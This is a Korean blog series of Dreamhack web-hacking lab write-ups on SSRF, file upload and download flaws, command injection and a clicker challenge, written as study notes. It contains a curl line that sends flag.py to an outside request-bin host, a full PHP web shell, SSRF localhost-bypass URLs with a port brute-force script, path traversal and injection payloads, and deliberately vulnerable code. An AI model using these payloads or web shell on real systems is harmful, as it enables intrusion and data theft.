STAGE 10 : Web Hacking Epilogue

 

Epilogue

 

> Carve Party

 

 

 

10000번을 클릭하고 플래그를 획득하는 문제이다.

호박을 클릭하였더니 아래와 같이 정말 숫자가 줄어들고 있었다.

 

코드를 살펴보았는데 counter가 특정 수까지 내려갈때마다 다른 css가 적용되는 것을 알 수 있었다.  

 

$('#jack-target').click() 함수가 counter을 늘려준다.

 

콘솔에 아래와 같이 입력하여 클릭을 자동화할 수 있도록 하였다.

 

이를 통해 flag를 획득하였다.

 

 

> blind-command

 

문제의 초기 화면이다.

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

url에 ?cmd=ls를 입력해주었더니 위와 같이 ls가 나오는 것을 확인할 수 있었다.

이를 burp suite를 통해 확인해보았다.

 

Dreamhack tools의 request bin을 이용하여 curl로 데이터를 전송하였다.

 

curl https://qfouqyh.request.dreamhack.games -d $(cat flag.py | tr -d ' |\n')

위 처럼 작성하여 인코딩을 해주었더니 아래와 같은 결과를 얻었다.

 

 

이를 이용하여 burpsuite에 작성해주었다.

 

이를 실행하였더니 Body에서 FLAG를 획득할 수 있었다.

 

참고 : https://velog.io/@h0meb0dy/DreamHack-blind-command

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 9  (0) 2022.08.24
[Dreamhack] Web Hacking STAGE 8  (0) 2022.08.18
[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 6  (0) 2022.08.02
[Dreamhack] Web Hacking STAGE 5  (0) 2022.07.25

STAGE 9 : Server Side Request Forgery (SSRF)

 

SSRF

 

> ServerSide : SSRF

마이크로서비스

: SW가 잘 정의된 API를 통해 통신하는 소규모의 독립적인 서비스로 구성되어 있는 경우의 SW개발을 위한 아키텍처 및 조직적 접근 방식

- 최근 웹 서비스는 지원하는 기능이 증가함에 따라 구성요소가 증가했고, 이에 따라 관리 및 코드의 복잡도를 낮추기 위해 마이크로 서비스들로 웹 서비스를 구현하는 추세이다. 

- 각 마이크로서비스는 주로 HTTP, GRPC 등을 사용해 API 통신을 한다.

- 서비스 간 HTTP 통신이 이뤄질 때 요청 내의 이용자의 입력값이 포함될 수 있고, 이를 통해 의도하지 않은 요청이 전송될 수 있다.

 

 

Server Side Request Forgery (SSFR)

: 웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있다.

- 최근 대다수 서비스들은 마이크로서비스로 구조를 많이 바꾸고, 새롭게 개발하는 추세이기 때문에 SSRF 취약점의 파급력이 더욱 높아지고 있다.

- 백오피스 서비스( = 관리자 페이지) : 이용자의 행위가 의심스러울 때 해당 계정을 정지시키거나 삭제하는 등 관리자만이 수행할 수 있는 모든 기능을 구현한 서비스, 내부망에 위치

- 웹 서비스는 의심스러운 행위를 탐지하고 실시간으로 대응하기 위해 백오피스의 기능을 실행할 수 있다. (웹 서비스는 외부에서 직접 접근할 수 없는 내부망 서비스와 통신할 수 있다.)

- 만약 공격자가 SSRF 취약점을 통해 웹 서비스의 권한으로 요청을 보낼 수 있다면 공격자는 외부에서 간접적으로 내부망 서비스를 이용할 수 있고 이는 곧 기업에 막대한 피해를 입힐 수 있다.

- 웹 서비스가 보내는 요청을 변조하기 위해 요청 내에 이용자의 입력값이 포함되어야 한다.

- 입력값이 포함되는 예시 : 웹 서비스가 이용자가 입력한 URL에 요청을 보내거나 요청을 보낼 URL에 이용자 번호와 같은 내용이 사용되는 경우, 그리고 이용자가 입력한 값이 HTTP Body에 포함되는 경우로 나눠볼 수 있다.

 

이용자가 입력한 URL에 요청을 보내는 경우

▶ 분석

# pip3 install flask requests # 파이썬 flask, requests 라이브러리를 설치하는 명령입니다.
# python3 main.py # 파이썬 코드를 실행하는 명령입니다.
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route("/image_downloader")
def image_downloader():
    # 이용자가 입력한 URL에 HTTP 요청을 보내고 응답을 반환하는 페이지 입니다.
    image_url = request.args.get("image_url", "") # URL 파라미터에서 image_url 값을 가져옵니다.
    response = requests.get(image_url) # requests 라이브러리를 사용해서 image_url URL에 HTTP GET 메소드 요청을 보내고 결과를 response에 저장합니다.
    return ( # 아래의 3가지 정보를 반환합니다.
        response.content, # HTTP 응답으로 온 데이터
        200, # HTTP 응답 코드
        {"Content-Type": response.headers.get("Content-Type", "")}, # HTTP 응답으로 온 헤더 중 Content-Type(응답 내용의 타입)
    )
@app.route("/request_info")
def request_info():
    # 접속한 브라우저(User-Agent)의 정보를 출력하는 페이지 입니다.
    return request.user_agent.string
app.run(host="127.0.0.1", port=8000)

- 이용자가 전달한 URL에 요청을 보내는 예제 코드

 

▷ image_downloader

- 이용자가 입력한 image_url을 requests.get함수를 사용해 GET메소드로 HTTP 요청을 보내고 응답을 반환한다.

- 브라우저에서 아래와 같은 URL을 입력하면 드림핵 페이지에 요청을 보내고 응답을 반환한다.

http://127.0.0.1:8000/image_downloader?image_url=https://dreamhack.io/assets/dreamhack_logo.png

 

▷ request_info

- 웹 페이지에 접속한 브라우저의 정보를 반환한다.

- 브라우저를 통해 해당 엔드포인트에 접근하면 접속하는데에 사용된 브라우저의 정보가 출력된다.

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4558.0 Safari/537.36

 

▶ 문제점확인

아래와 같이 image_downloader 엔드포인트의 image_url에 request_info 엔드포인트 경로를 입력한다.

http://127.0.0.1:8000/image_downloader?image_url=http://127.0.0.1:8000/request_info

- 위 경로에 접속하면 image_downloader에서는 http://127.0.0.1:8000/request_info URL에 HTTP 요청을 보내고 응답을 반환한다.

- 반환한 값을 확인해보면 브라우저로 request_info 엔드포인트에 접속했을 때와 다르게 브라우저 정보가 python-requests/2.11.1인 것을 확인할 수 있다.

- 접속한 브라우저 정보로 python-requests가 출력된 이유는 웹 서비스에서 HTTP 요청을 보냈기 때문이다.

- 이처럼 이용자가 웹 서비스에서 사용하는 마이크로서비스의 API 주소를 알아내고, image_url에 주소를 전달하면 외부에서 직접 접근할 수 없는 마이크로서비스의 기능을 임의로 사용할 수 있다.

 

 

웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우

▶ 분석

INTERNAL_API = "http://api.internal/"
# INTERNAL_API = "http://172.17.0.3/"
@app.route("/v1/api/user/information")
def user_info():
	user_idx = request.args.get("user_idx", "")
	response = requests.get(f"{INTERNAL_API}/user/{user_idx}")
@app.route("/v1/api/user/search")
def user_search():
	user_name = request.args.get("user_name", "")
	user_type = "public"
	response = requests.get(f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")

- 이용자가 입력값이 포함된 URL에 요청을 보내는 예제 코드

 

▷ user_info

- 이용자가 전달한 user_idx값을 내부 API의 URL경로로 사용한다.

http://x.x.x.x/v1/api/user/information?user_idx=1

- 이용자가 위와 같이 user_idx를 1로 설정하고 요청을 보내면 웹 서비스는 다음과 같은 주소에 요청을 보낸다.

http://api.internal/user/1

 

▷ user_search

- 이용자가 전달한 user_name값을 내부 API의 쿼리로 사용한다.

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4558.0 Safari/537.36

- 이용자가 위와 같이 user_name을 "hello"로 설정하고 요청을 보내면 웹 서비스는 다음과 같은 주소에 요청을 보낸다.

http://api.internal/user/search?user_name=hello&user_type=public

 

▶ 문제점확인

- 웹 서비스가 요청하는 URL에 이용자의 입력값이 포함되면 요청을 변조할 수 있다.

- 이용자의 입력값 중 URL의 구성 요소 문자를 삽입하면 API 경로를 조작할 수 있다.

ex) 예시코드의 user_info함수에서 user_idx에 ../search를 입력할 경우 웹 서비스는 다음과 같은 URL에 요청을 보낸다.

http://api.internal/search

 

- 이 취약점은 경로를 변조한다는 의미에서 Path Traversal이라고 불린다.

- # 문자를 입력해 경로를 조작할 수 있다.

ex) user_search함수에서 user_name에 secret&user_type=private#를 입력할 경우 웹 서비스는 다음과 같은 URL에 요청을 보낸다.

http://api.internal/search?user_name=secret&user_type=private#&user_type=public

- # 문자는 Fragment Identifier 구분자로, 뒤에 붙는 문자열은 API 경로에서 생략된다.

- 따라서 해당 URL은 실제로 아래와 같은 URL을 나타낸다.

http://api.internal/search?user_name=secret&user_type=private

 

 

웹 서비스의 요청 Body에 이용자의 입력값이 포함되는 경우

▶ 분석

# pip3 install flask
# python main.py
from flask import Flask, request, session
import requests
from os import urandom
app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = "http://127.0.0.1:8000/"
header = {"Content-Type": "application/x-www-form-urlencoded"}
@app.route("/v1/api/board/write", methods=["POST"])
def board_write():
    session["idx"] = "guest" # session idx를 guest로 설정합니다.
    title = request.form.get("title", "") # title 값을 form 데이터에서 가져옵니다.
    body = request.form.get("body", "") # body 값을 form 데이터에서 가져옵니다.
    data = f"title={title}&body={body}&user={session['idx']}" # 전송할 데이터를 구성합니다.
    response = requests.post(f"{INTERNAL_API}/board/write", headers=header, data=data) # INTERNAL API 에 이용자가 입력한 값을 HTTP BODY 데이터로 사용해서 요청합니다.
    return response.content # INTERNAL API 의 응답 결과를 반환합니다.
@app.route("/board/write", methods=["POST"])
def internal_board_write():
    # form 데이터로 입력받은 값을 JSON 형식으로 반환합니다.
    title = request.form.get("title", "")
    body = request.form.get("body", "")
    user = request.form.get("user", "")
    info = {
        "title": title,
        "body": body,
        "user": user,
    }
    return info
@app.route("/")
def index():
    # board_write 기능을 호출하기 위한 페이지입니다.
    return """
        <form action="/v1/api/board/write" method="POST">
            <input type="text" placeholder="title" name="title"/><br/>
            <input type="text" placeholder="body" name="body"/><br/>
            <input type="submit"/>
        </form>
    """
app.run(host="127.0.0.1", port=8000, debug=True)

- 이용자가 입력값이 요청의 Body에 포함되는 예제 코드

 

▷ body_write

- 이용자의 입력값을 HTTP Body에 포함되고 내부 API로 요청을 보낸다.

- 전송할 데이터를 구성할 때 세션 정보를 "guest" 계정으로 설정한다.

 

▷ internal_body_write

- body_write 함수에서 요청하는 내부 API를 구현한 기능이다.

- 전달된 title, body 그리고 계정 이름을 JSON 형식으로 변환하고 반환한다.

 

▷index

- body_write 기능을 호출하기 위한 인덱스 페이지이다.

 

▶ 문제점확인

- 코드를 실행하고 다음 URL에 접속하면 title과 body를 입력하는 페이지가 표시된다.

http://127.0.0.1:8000

 

- 입력창에 값을 입력하고 제출 버튼을 누르면 다음과 같은 응답을 확인할 수 있다.

{ "body": "body", "title": "title", "user": "guest" }

 

- 요청을 전송할 때 세션 정보를 "guest"로 설정했기 때문에 "user"가 "guest"인 것을 확인할 수 있다.

- 예시 코드를 살펴보면, 내부 API로 요청을 보내기 전에 아래와 같이 데이터를 구성하는 것을 확인할 수 있다.

data = f"title={title}&body={body}&user={session['idx']}

 

- 데이터를  구성할 때 이용자의 입력값인 title, body 그리고 user의 값을 파라미터 형식으로 설정한다.

- 이로 인해 이용자가 URL에서 파라미터를 구분하기 위해 사용하는 구분 문자인 &를 포함하면 설정되는 data의 값을 변조할 수 있다.

- title에서 title&user=admin를 삽입하면 다음과 같이 data가 구성된다.

title=title&user=admin&body=body&user=guest

 

- 이용자가 & 구분자를 포함해 user 파라미터를 추가했다.

- 내부 API에서는 전달받은 값을 파싱할 때 앞에 존재하는 파라미터의 값을 가져와 사용하기 때문에 user의 값을 변조할 수 있다.

- title&user=admin를 삽입했을 때의 실행 결과를 확인해보면 user가 “admin”으로 변조된 것을 확인할 수 있다.

{ "body": "body", "title": "title", "user": "admin" }

 

 

[함께실습] SSRF

> Exercise : SSRF

▶ 웹서비스 분석

▷ img_viewer

: GET과 POST 요청을 처리

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET": 
        return render_template("img_viewer.html") 
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url) 
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): 
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

- GET : img_viewer.html을 렌더링

- POST : 이용자가 입력한 url에 HTTP요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링한다.

 

▷ run_local_server

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler # 리소스를 반환하는 웹 서버
)
def run_local_server():
    local_server.serve_forever()
    
    
threading._start_new_thread(run_local_server, ()) # 다른 쓰레드로 `local_server`를 실행합니다.

- 파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행한다.

- http.server.HTTPServer의 두번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성된다.

- 호스트가 127.0.0.1이므로 외부에서 이 서버에 직접 접근하는 것은 불가능하다.

 

 

▶ 취약점 분석

▷ img_viewer

- 이용자가 POST로 전달한 url에 HTTP요청을 보내고, 응답을 반환한다.

- img_viewer는 서버 주소에 "127.0.0.1", "localhost"이 포함된 url로의 접근을 막는다.

- 이를 우회하면 SSRF를 통해 내부 HTTP 서버에 접근할 수 있다.

URL 필터링
: URL에 포함된 문자열을 검사하여 부적절한 URL로의 접근을 막는 보호 기법

- 블랙리스트 필터링 : URL에 포함되면 안되는 문자열로 블랙리스트를 만들고, 이를 이용하여 이용자의 접근을 제어한다.
- 화이트리스트 필터링 : 접근을 허용할 URL로 화이트리스트를 만들고 이 외의 접근은 차단한다.

 

▶ 익스플로잇

▷ URL 필터링 우회

127.0.0.1과 매핑된 도메임 이름 사용

- 도메인 이름을 구매하면, 이를 DNS 서버에 등록하여 원하는 IP주소와 연결할 수 있다.

- 등록한 이름이 IP주소로 리졸브된다.

- 따라서 임의의 도메인 이름을 구매하여 127.0.0.1과 연결하고, 그 이름을 url로 사용하면 필터링을 우회할 수 있다.

- 이미 127.0.0.1에 매핑된 "*.vcap.me"를 이용하는 방법도 있다. 

 

127.0.0.1의 alias 이용

- 하나의 IP는 여러 방식으로 표기될 수 있다.

ex) 127.0.0.1    --16진수로 변환-->    0x7f 0x00 0x00 0x01 , 0x7f 0x00 0x00 0x01

                       --'.'을 제거--> 0x7f000001 , 0x7f000001

                       --10진수로 변환--> 2130706433

                       --각 자리에 0을 생략--> 127.1 127.0.1

- 특히 127.0.0.1부터 127.0.0.255까지의 IP는 루프백주소이며 이는 모두 로컬 호스트를 가리킨다.

 

localhost의 alias 이용

- URL에서 호스트와 스킴는 대소문자를 구분하지 않는다.

- 따라서 "localhost"의 임의 문자를 대문자로 바꿔도 같은 호스트를 의미한다.

 

Proof-of-Concept

- 로컬호스트의 8000번 포트에는 문제 서버가 실행되고 있는데 아래 URL을 image viewer에 입력하면 문제 인덱스 페이지를 인코딩한 이미지가 반환된다.

- 따라서 아래 URL은 로컬호스트를 가리키면서 필터링을 우회할 수 있다.

http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/

 

▷ 포트 찾기

랜덤한 포트 찾기

- 내부 HTTP 서버는 포트 번호가 1500이상 1800이하인 임의 포트에서 실행되고 있다.

- 위 URL을 활용하여 스크립트를 작성하면 브루트포스로 포트를 찾을 수 있다.

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

 

위 코드를 cmd에서 실행해주었더니 아래와 같이 포트번호가 1739라는 것을 알 수 있었다.

 

아래와 같이 획득한 포트번호를 이용해 url을 작성해주었다.

 

실행한 결과, 아래와 같이 이미지가 나왔다.

 

개발자 도구를 들어가 img를 확인해주었더니 base64 코드가 나왔다.

 

base64 디코더에 이를 넣어주었더니 flag를 획득할 수 있었다.

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 10  (0) 2022.08.27
[Dreamhack] Web Hacking STAGE 8  (0) 2022.08.18
[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 6  (0) 2022.08.02
[Dreamhack] Web Hacking STAGE 5  (0) 2022.07.25

STAGE 8 : File Vulnerability

 

File Vulnerability

 

> ServerSide : File Vulnerability

File Upload Vulnerability File Download Vulnerability
- 공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점
- 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생
- 원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있다.
- Path Traversal과 악성 파일 업로드로 분류된다.
- 웹 서비스의 파일 시스템에 존재하는 파일을 다운로드하는 과정에서 발생하는 보안 취약점
- 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드 받을 수 있다.
- 설정 파일, 패스워드 파일, 데이터 베이스 백업 본 등을 다운로드 하여 민감한 정보를 탈취할 수 있고 2차 공격을 수행할 수 있다.

 

Path Traversal

: 업로드에 존재하는 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점

- 파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉토리에만 업로드를 허용한다.

- 위와 같은 제한이 없으면 악의적인 이용자가 웹 서버의 소스코드나 서버에 있는 중요 시스템 파일을 덮어 쓸 위험이 있다.

 

▷ 파일 업로드 기능에 Path Traversal 취약점이 있는 웹 서비스 코드

from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
	if request.method == 'POST':
		f = request.files['file']
		f.save("./uploads/" + f.filename)
		return 'Upload Success'
	else:
		return """
		<form action="/fileUpload" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" />
			<input type="submit"/>
		</form>
		"""
if __name__ == '__main__':
	app.run()

- /fileUpload는 POST요청을 받으면, 클라이언트가 전송한 파일을 ./uploads에 저장한다.

- 이용자가 입력한 파일 이름 f.filename을 그대로 사용하기 때문에 Path Traversal에 취약하다.

- ex) 공격자가 ../ 와 같은 메타문자를 사용하면 uploads를 벗어나 상위 디렉토리에도 파일을 업로드 할 수 있다.

 

▶ 정상적인 요청

- 파일을 정상적으로 업로드하면 아래와 같이 HTTP요청이 전송된다.

정상적인 파일 업로드 HTTP 요청

- 요청의 filename 필드의 값이 위 코드 내 f.filename 변수의 값이 된다.

- 이처럼 요청을 보내면 uploads 폴더에 test.txt가 생성된다.

서버 파일 시스템 확인

 

▶ 악의적인 요청

- 아래는 filename 필드를 변조해서 Path Traversal을 수행하는 HTTP 요청이다. filename에 .. 이 포함되어 있으므로 상위 디렉토리 파일이 저장된다.

악의적인 파일 업로드 HTTP 요청

 

- 요청을 전송하면 아래와 같이 app.py 파일 위치와 같은 디렉토리에 hack.py가 생성된다. 만약 app.py를 덮어쓴다면, 서버가 재실행될 때 임의의 파이썬 코드를 실행할 수 있다.

공격을 당한 서버 파일 시스템 확인

 

▶ 악성 파일 업로드

- 악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점을 의미한다.

 

▷ 웹 셸

- 웹 서버는 .php, .jsp, .asp와 같은 확장자의 파일을 Common Gateway Interface(CGI)로 실행하고, 그 결과를 이용자에게 반환한다.

- 아래 사진은 이용자가 요청한 파일의 확장자가 정규표현식 ".+\.ph(p[3457]?|t|tml)$"를 만족하면, x-httpd-php로 핸들링하게 하는 Apache 설정 파일이다.

Apache 설정 파일

- x-httpd-php는 PHP 엔진이며 요청한 파일을 실행하고, 그 결과를 반환한다.

-  .php, .php3, .phtml이 위의 정규표현식을 만족한다.

- 많은 웹 서버들이 php 파일에 대해 위와 같은 핸들링을 지원한다.

- 따라서 공격자가 임의의 php 소스 파일을 .php 확장자로 업로드하고, GET 요청을 보낼 수 있다면 CGI에 의해 해당 코드가 실행되도록 할 수 있다.

 

▷ 악의적인 웹 리소스

- 웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리한다.

- 만약 요청한 파일의 확장자가 .html이거나, 반환된 Content-Type 헤더가 text/html일 경우 응답은 HTML 엔진으로 처리된다.

- 파일의 확장자가 .png, .jpg 등의 이미지 확장자이거나 Content-Type이 image/png일 경우에는 이미지로 랜더링 된다.

- 만약 공격자가 서버에 exploit.html을 업로드하고, 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이라면, 브라우저는 이를 HTML로 해석된다. exploit.html에 악의적인 스크립트를 삽입하면, Cross-Site-Scripting (XSS) 공격으로 이어질 수 있다.

 

 

File Download Vulnerability

: 웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려 받는 과정에서 발생하는 보안 취약점이며, 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 대 발생한다.

- 웹 서비스는 이용자가 업로드한 파일을 다운로드 받거나 이미지를 불러올 때 특정 디렉토리에 있는 파일만 접근하도록 해야 한다.

- Path Traversal을 이용한 파일 다운로드 취약점을 파일 이름을 직접 입력 받아 임의 디렉토리에 있는 파일을 다운로드 받을 수 있는 취약점을 말한다. 

- 아래는 파일 다운로드 취약점이 자주 발생하는 URL 패턴이다.

 

 

[함께실습] File Vulnerability

> Exercise : File Vulnerability

▶ 웹 서비스 분석

 

▷ 인덱스 페이지

- index.php는 list.php와 upload.php로 이동하는 메뉴를 출력한다.

<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>

 

▷ 파일 목록 리스팅

- list.php는 $directory의 파일들 중 ., .., index.html을 제외하고 나열한다.

<?php
    $directory = './uploads/';
    $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
    foreach ($scanned_directory as $key => $value) {
        echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
    }
?>

 

▷ 파일 업로드

- upload.php는 이용자가 업로드한 파일을 uploads폴더에 복사하며, 이용자는 http://host1.dreamhack.games:[PORT]/uploads/[FILENAME] URL을 통해 접근할 수 있다.

- 만약 같은 이름의 파일이 있다면 “already exists”라는 메시지를 반환한다. 업로드할 파일에 대해 어떠한 검사도 하지 않으므로, 웹 셸 업로드 공격에 취약하다.

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

 

▶ 익스플로잇

 

▷ php 웹 셸 업로드

- 웹 셸 업로드하고 방문하면, 서버의 셸을 획득할 수 있다.

//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

 

▷ flag 획득

- cat /flag.txt로 플래그를 획득한다.

 

 

위 사진과 같이 php 코드를 작성하여 아래 사진에서 이 파일을 업로드 해주었다.

 

List 를 들어갔더니 내가 업로드 한 shell.php가 있었고, 이를 선택하였더니 안에 flag가 있었다.

 

[혼자실습] File Vulnerability

#!/usr/bin/env python3
import os
import shutil

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)

UPLOAD_DIR = 'uploads'


@APP.route('/')
def index():
    files = os.listdir(UPLOAD_DIR)
    return render_template('index.html', files=files)


@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
    if request.method == 'POST':
        filename = request.form.get('filename')
        content = request.form.get('content').encode('utf-8')

        if filename.find('..') != -1:
            return render_template('upload_result.html', data='bad characters,,')

        with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
            f.write(content)

        return redirect('/')

    return render_template('upload.html')


@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)


if __name__ == '__main__':
    if os.path.exists(UPLOAD_DIR):
        shutil.rmtree(UPLOAD_DIR)

    os.mkdir(UPLOAD_DIR)

    APP.run(host='0.0.0.0', port=8000)

 

아래와 같이 hello라고 내용을 적어 업로드 해주었다.

 

Home에 업로드한 flag가 생겼다.

 

flag를 들어갔더니 아래와 같이 업로드 한 내용을 확인할 수 있었다.

URL이 http://host3.dreamhack.games/read?name= 뒤가 계속 바뀌는 것을 확인 할 수 있었고, flag.py의 상위 디렉터리인 ../flag.py로 변경하였다. 

 

그랬더니 아래와 같이 flag를 획득할 수 있었다.

 

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 10  (0) 2022.08.27
[Dreamhack] Web Hacking STAGE 9  (0) 2022.08.24
[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 6  (0) 2022.08.02
[Dreamhack] Web Hacking STAGE 5  (0) 2022.07.25

STAGE 7 : Command Injection

 

Command Injection

 

> ServerSide : Command Injection

Command Injection

- Injection (인젝션) : 악의적인 데이터를 프로그램에 입력하여 이를 시스템 명령어, 코드, 데이터베이스 쿼리 등으로 실행되게 하는 기법

- Command Injection : 시스템 명령어에 대한 인젝션; 취약점이 발생하는 원인은 단순하지만, 매우 치명적인 공격으로 이어질 수 있음. 개발자는 이용자의 입력을 반드시 검사해야 하며, 되도록 system 함수의 사용을 자제해야 한다.

- 시스템 함수를 사용하면 이용자의 입력을 소프트웨어의 인자로 전달할 수 있다.

  • 파이썬으로 개발된 웹 애플리케이션에서 입력한 임의 IP에 ping을 전송하고 싶으면 os.system("ping [user-input]")
  • 파이썬으로 개발된 웹 애플리케이션에서 입력한 임의 파일을 읽고 싶다면 os.system("cat [user-input]")

- 위와 같이, 이용자의 입력을 제대로 검사하지 않으면 임의 명령어가 실행될 수 있는데 이는 리눅스 셸 프로그램이 지원하는 다양한 메타 문자 때문이다. 

- && ; | 등을 사용하면 여러개의 명령어를 연속으로 실행시킬 수 있는데 공격자는 이를 이용해 명령어를 실행하여 셸을 획득한다.

 

 

Command Injection 실습

@app.route('/ping')
def ping():
	ip = request.args.get('ip')
	return os.system(f'ping -c 3 {ip}')

- Command Injection이 발생하는 예제 코드

- URL 쿼리를 통해 전달되는 ip값을 ping 명령어의 인자로 전달

 

$ ping -c 3 1.1.1.1; id
$ ping -c 3 1.1.1.1 && id
$ ping -c 3 1.1.1.1 | id

- id 명령어를 실행하기 위해서는 메타문자를 사용해야 한다.

 

 

 

[혼자실습]
Command Injection
#!/usr/bin/env python3
import subprocess

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)


@APP.route('/')
def index():
    return render_template('index.html')


@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')


if __name__ == '__main__':
    APP.run(host='0.0.0.0', port=8000)

ping -c 3 "{host}" 에서 {host}는 내가 입력해준 값이 들어간다.

 

ping 페이지 Host 입력칸에 8.8.8.8을 입력해주었더니 아래와 같은 결과가 나왔다.

 

 

아래와 같이 입력값을 주려하는데 "요청한 형식과 일치시키세요."라는 문구가 계속해서 떴다.

 

코드를 살펴보았는데 pattern이 지정되어 있었다.

 

이를 우회하기 위해 burp suite를 사용하기로 했다.

이와 같이 입력하였더니 아래와 같이 ls명령어가 잘 수행되었다. 

flag.py가 있다는 것을 확인했으므로 이를 cat 명령어로 읽어주기로 하였다.

 

burp suite를 이용해 cat 명령어를 사용해주었고 아래와 같이 flag를 획득할 수 있었다.

 

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 9  (0) 2022.08.24
[Dreamhack] Web Hacking STAGE 8  (0) 2022.08.18
